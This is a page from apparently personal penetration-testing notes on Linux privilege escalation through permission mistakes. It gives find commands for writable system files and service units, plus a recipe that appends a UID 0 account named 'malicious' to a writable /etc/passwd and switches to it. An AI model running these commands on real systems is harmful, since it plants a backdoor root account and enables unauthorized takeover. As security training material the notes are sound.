> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/permissions.md).

# Permissions

Linux permission misconfiguration notes for writable files, /etc/passwd abuse, Smart Enumeration, and least privilege checks.

Permission-based privilege escalation abuses writable files, weak ownership, exposed secrets, or sensitive paths that should only be controlled by root. Small permission mistakes can become direct root access when they affect authentication files or privileged execution paths.

## Methodology

* Find writable files and directories outside expected user-controlled locations.
* Check ownership and group permissions on sensitive files such as `/etc/passwd`, backups, scripts, and service configs.
* Use automated enumeration to catch hidden permission mistakes, then validate manually.

## Quick Checks

```bash
find / -writable 2>/dev/null
find /etc -writable -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
```

{% hint style="info" %}
Permission misconfigurations expose sensitive files, writable paths, or administrator-only actions to low-privileged users. Always validate writable files, ownership, group access, and execution context.
{% endhint %}

## Sensitive Writable Files

Prioritize writable system files, service configuration, backups, and scripts that root executes.

```bash
find /etc -writable -type f 2>/dev/null
find /etc/service/ -writable 2>/dev/null
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
```

### `/etc/passwd` Abuse

If `/etc/passwd` is writable, generate a controlled hash and add a temporary root-equivalent user only in a lab or authorized target:

```bash
openssl passwd -1 -salt xyz password123
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
su malicious
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-key" style="color:$primary;">:key:</i></h3></td><td><h4>Linux Permissions Calculator</h4></td><td>Search octal and symbolic permissions, convert modes, review SUID/SGID/sticky bits, and triage privilege escalation risk.</td><td><a href="/privesc/permissions/linux-permissions-calculator.md">Linux Permissions Calculator</a></td></tr><tr><td><h3><i class="fa-magnifying-glass" style="color:$primary;">:magnifying-glass:</i></h3></td><td><h4>Smart Enumeration</h4></td><td>Smart Enumeration Tool notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/permissions/smart-enumeration-linux-privilege-escalation.md">Smart Enumeration - Linux Privilege Escalation</a></td></tr><tr><td><h3><i class="fa-shield-halved" style="color:$primary;">:shield-halved:</i></h3></td><td><h4>/etc/passwd Write Abuse</h4></td><td>Permission Management (/etc/passwd) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.</td><td><a href="/privesc/permissions/etc-passwd-write-abuse-linux-privilege-escalation.md">/etc/passwd Write Abuse - Linux Privilege Escalation</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/permissions.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
